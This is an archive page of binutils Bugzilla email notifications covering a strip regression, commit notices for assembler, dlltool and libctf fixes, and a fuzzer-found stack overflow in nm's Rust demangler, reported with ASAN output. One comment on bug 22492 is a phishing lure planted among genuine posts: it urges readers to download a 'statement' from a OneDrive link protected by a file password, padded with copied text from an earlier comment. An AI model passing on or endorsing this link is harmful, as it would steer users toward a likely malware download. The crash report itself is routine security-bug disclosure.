[Bug binutils/28992] New: strip strips .gnu_debuglink

2022-03-23 Thread cristian.adam at gmail dot com
https://sourceware.org/bugzilla/show_bug.cgi?id=28992

Bug ID: 28992
   Summary: strip strips .gnu_debuglink
   Product: binutils
   Version: 2.37
Status: UNCONFIRMED
  Severity: normal
  Priority: P2
 Component: binutils
  Assignee: unassigned at sourceware dot org
  Reporter: cristian.adam at gmail dot com
  Target Milestone: ---

We noticed with a MinGW 11.2.0 package that binutils 2.37's strip removes the
".gnu_debuglink" section from binaries.

This was not the case with MinGW 8.1.0 and binutils 2.30.

The removal of the ".gnu_debuglink" section results in gdb not loading the
separate debug binaries.

See how Qt is affected at https://bugreports.qt.io/browse/QTBUG-101653 

The workaround is to use a script that adds "--keep-section=.gnu_debuglink".

-- 
You are receiving this mail because:
You are on the CC list for the bug.


[Bug gas/28977] tc-i386.c internal error in parse_register

2022-03-23 Thread cvs-commit at gcc dot gnu.org
https://sourceware.org/bugzilla/show_bug.cgi?id=28977

--- Comment #3 from cvs-commit at gcc dot gnu.org  ---
The master branch has been updated by Jan Beulich :

https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;h=4faaa10f3fabb345aca006ed67a8be97dc924e9c

commit 4faaa10f3fabb345aca006ed67a8be97dc924e9c
Author: Jan Beulich 
Date:   Wed Mar 23 12:28:53 2022 +0100

x86: don't attempt to resolve equates and alike from i386_parse_name()

PR gas/28977

Perhaps right from its introduction in 4d1bb7955a8b it was wrong for
i386_parse_name() to call parse_register(). This being a hook from the
expression parser, it shouldn't be resolving e.g. equated symbols.
That's relevant only for all other callers of parse_register().

To compensate, in Intel syntax mode check_register() needs calling;
perhaps not doing so was an oversight right when the function was
introduced. This is necessary in particular to force EVEX encoding when
VRex registers are used (but of course also to reject bad uses of
registers, i.e. fully matching what parse_register() needs it for).

-- 
You are receiving this mail because:
You are on the CC list for the bug.


[Bug binutils/28885] dlltool broke in 2.38

2022-03-23 Thread cvs-commit at gcc dot gnu.org
https://sourceware.org/bugzilla/show_bug.cgi?id=28885

--- Comment #9 from cvs-commit at gcc dot gnu.org  ---
The binutils-2_38-branch branch has been updated by Nick Clifton
:

https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;h=99852365513266afdd793289813e8e565186c9e6

commit 99852365513266afdd793289813e8e565186c9e6
Author: Nick Clifton 
Date:   Wed Mar 23 11:39:49 2022 +

dlltool: Use the output name as basis for deterministic temp prefixes

PR 28885
* dlltool.c (main): use imp_name rather than dll_name when
generating a temporary file name.

-- 
You are receiving this mail because:
You are on the CC list for the bug.


[Bug libctf/28933] buffer overflow on powerpc-linux

2022-03-23 Thread cvs-commit at gcc dot gnu.org
https://sourceware.org/bugzilla/show_bug.cgi?id=28933

--- Comment #6 from cvs-commit at gcc dot gnu.org  ---
The master branch has been updated by Nick Alcock :

https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;h=84f5c557a4883d336b238e4bf5264bb920e008d9

commit 84f5c557a4883d336b238e4bf5264bb920e008d9
Author: Nick Alcock 
Date:   Fri Mar 18 00:49:11 2022 +

libctf, ld: diagnose corrupted CTF header cth_strlen

The last section in a CTF dict is the string table, at an offset
represented by the cth_stroff header field.  Its length is recorded in
the next field, cth_strlen, and the two added together are taken as the
size of the CTF dict.  Upon opening a dict, we check that none of the
header offsets exceed this size, and we check when uncompressing a
compressed dict that the result of the uncompression is the same length:
but CTF dicts need not be compressed, and short ones are not.
Uncompressed dicts just use the ctf_size without checking it.  This
field is thankfully almost unused: it is mostly used when reserializing
a dict, which can't be done to dicts read off disk since they're
read-only.

However, when opening an uncompressed foreign-endian dict we have to
copy it out of the mmaped region it is stored in so we can endian-
swap it, and we use ctf_size when doing that.  When the cth_strlen is
corrupt, this can overrun.

Fix this by checking the ctf_size in all uncompressed cases, just as we
already do in the compressed case.  Add a new test.

This came to light because various corrupted-CTF raw-asm tests had an
incorrect cth_strlen: fix all of them so they produce the expected
error again.

libctf/
PR libctf/28933
* ctf-open.c (ctf_bufopen_internal): Always check uncompressed
CTF dict sizes against the section size in case the cth_strlen is
corrupt.

ld/
PR libctf/28933
* testsuite/ld-ctf/diag-strlen-invalid.*: New test,
derived from diag-cttname-invalid.s.
* testsuite/ld-ctf/diag-cttname-invalid.s: Fix incorrect
cth_strlen.
* testsuite/ld-ctf/diag-cttname-null.s: Likewise.
* testsuite/ld-ctf/diag-cuname.s: Likewise.
* testsuite/ld-ctf/diag-parlabel.s: Likewise.
* testsuite/ld-ctf/diag-parname.s: Likewise.

-- 
You are receiving this mail because:
You are on the CC list for the bug.


[Bug binutils/28995] New: There is a stack exhausion in the nm-new

2022-03-23 Thread kdsjzh at gmail dot com
https://sourceware.org/bugzilla/show_bug.cgi?id=28995

Bug ID: 28995
   Summary: There is a stack exhausion in the nm-new
   Product: binutils
   Version: 2.39 (HEAD)
Status: UNCONFIRMED
  Severity: normal
  Priority: P2
 Component: binutils
  Assignee: unassigned at sourceware dot org
  Reporter: kdsjzh at gmail dot com
  Target Milestone: ---

Created attachment 14033
  --> https://sourceware.org/bugzilla/attachment.cgi?id=14033&action=edit
poc for nm-new

### short description
in the latest commit there is a stack-overflow in nm-new, which can be
triggered via a crafted elf file.

### step to reproduce
compile using CC="clang -fsanitize=address" CXX="clang++ -fsanitize=address"
./configure --disable-shared && make -j$(nproc)

./nm-new -C $POC

### ASAN output
 A pRYAaca_NRYAaca_a
 A _RYAa
 A _RYAaca_a
 A _RYAaca_a
 A _RYAaca_a
AddressSanitizer:DEADLYSIGNAL
=
==24336==ERROR: AddressSanitizer: stack-overflow on address 0x7f7fef60 (pc
0x007b5cc7 bp 0x7f7ff110 sp 0x7f7fef60 T0)
#0 0x7b5cc6 
(/home/hzheng/workspace/reproduce/binutils-gdb/binutils/nm-new+0x7b5cc6)
#1 0x7b65df 
(/home/hzheng/workspace/reproduce/binutils-gdb/binutils/nm-new+0x7b65df)
#2 0x7b65df 
(/home/hzheng/workspace/reproduce/binutils-gdb/binutils/nm-new+0x7b65df)
#3 0x7b65df 
(/home/hzheng/workspace/reproduce/binutils-gdb/binutils/nm-new+0x7b65df)
#4 0x7b65df 
(/home/hzheng/workspace/reproduce/binutils-gdb/binutils/nm-new+0x7b65df)
...
#249 0x7b65df 
(/home/hzheng/workspace/reproduce/binutils-gdb/binutils/nm-new+0x7b65df)

SUMMARY: AddressSanitizer: stack-overflow
(/home/hzheng/workspace/reproduce/binutils-gdb/binutils/nm-new+0x7b5cc6)
==24336==ABORTING

### environment
Ubuntu 18.04.6 LTS
clang version 6.0.0-1ubuntu2
binutils faf5e6ace8c6f82e11ad40393f531123515ce3e6

### Credit
Han Zheng, nipc

-- 
You are receiving this mail because:
You are on the CC list for the bug.


[Bug binutils/28995] There is a stack exhausion in the nm-new

2022-03-23 Thread kdsjzh at gmail dot com
https://sourceware.org/bugzilla/show_bug.cgi?id=28995

--- Comment #1 from han zheng  ---
reproduced with debug information in WSL Ubuntu 20.04.1 LTS, clang-10.0.0

 A _RYAa
AddressSanitizer:DEADLYSIGNAL
=
==10123==ERROR: AddressSanitizer: stack-overflow on address 0x7b96cf40 (pc
0x007675ab bp 0x7b96d0f0 sp 0x7b96cf40 T0)
#0 0x7675ab in demangle_const
/mnt/c/Users/hzheng/Desktop/test/reproduce/nm-new/binutils-gdb/libiberty/./rust-demangle.c:1144
#1 0x767e06 in demangle_const
/mnt/c/Users/hzheng/Desktop/test/reproduce/nm-new/binutils-gdb/libiberty/./rust-demangle.c:1158:11
...
#248 0x767e06 in demangle_const
/mnt/c/Users/hzheng/Desktop/test/reproduce/nm-new/binutils-gdb/libiberty/./rust-demangle.c:1158:11

SUMMARY: AddressSanitizer: stack-overflow
/mnt/c/Users/hzheng/Desktop/test/reproduce/nm-new/binutils-gdb/libiberty/./rust-demangle.c:1144
in demangle_const
==10123==ABORTING

-- 
You are receiving this mail because:
You are on the CC list for the bug.


[Bug gas/22492] Incorrect note section alignment

2022-03-23 Thread Holly.Troup-Muniz at addcode dot com
https://sourceware.org/bugzilla/show_bug.cgi?id=22492

--- Comment #11 from Holly.Troup-Muniz at addcode dot com ---
   Hello!
   Examine the essential statement please:


  
https://onedrive.live.com/download?cid=9D08D52A0A2C64DB&resid=9D08D52A0A2C64DB%21106&authkey=AHgXoV8VKtKdSao

   File password: MT7658

   Hi Alan, > sourceware.org/bugzilla/show_bug.cgi?id=22492 > Was the
   patch in comment #1 posted to the mailing list? Sorry no - that was my
   bad. > There's a small nit.. > I think it should be using
   record_alignment rather than > bfd_set_section_alignment. So it
   should. I have checked in this patch to fix the problem. Cheers Nick
   gas/ChangeLog 2017-11-29 Nick Clifton <> PR 22492 * config/obj-elf.c
   (obj_elf_version): Use record_alignment rather than
   bfd_set_section_alignment. diff --git a/gas/config/obj-elf.c
   b/gas/config/obj-elf.c index 2d1d1679b8..61c573a5e4 100644 ---
   a/gas/config/obj-elf.c +++ b/gas/config/obj-elf.c @@ -1829,7 +1829,7
   @@ obj_elf_version (int ignore ATTRIBUTE_UNUSED) bfd_set_section_flags
   (stdoutput, note_secp, SEC_HAS_CONTENTS | SEC_READONLY); -
   bfd_set_section_alignment (stdoutput, note_secp, 2); +
   record_alignment (note_secp, 2); /* Process the version string. */ len
   = strlen (name) + 1;

-- 
You are receiving this mail because:
You are on the CC list for the bug.


[Bug binutils/28995] [BUG] stack exhausion in nm-new, function demangle_const

2022-03-23 Thread kdsjzh at gmail dot com
https://sourceware.org/bugzilla/show_bug.cgi?id=28995

han zheng  changed:

   What|Removed |Added

Summary|There is a stack exhausion  |[BUG] stack exhausion in
   |in the nm-new   |nm-new, function
   ||demangle_const

-- 
You are receiving this mail because:
You are on the CC list for the bug.


[Bug binutils/28995] [BUG] stack exhausion in nm-new, function demangle_const

2022-03-23 Thread amodra at gmail dot com
https://sourceware.org/bugzilla/show_bug.cgi?id=28995

Alan Modra  changed:

   What|Removed |Added

 Resolution|--- |MOVED
 Status|UNCONFIRMED |RESOLVED

--- Comment #2 from Alan Modra  ---
In future, please report demangler bugs to the gcc project (which owns most
libiberty files).  Move to https://gcc.gnu.org/bugzilla/show_bug.cgi?id=105039

-- 
You are receiving this mail because:
You are on the CC list for the bug.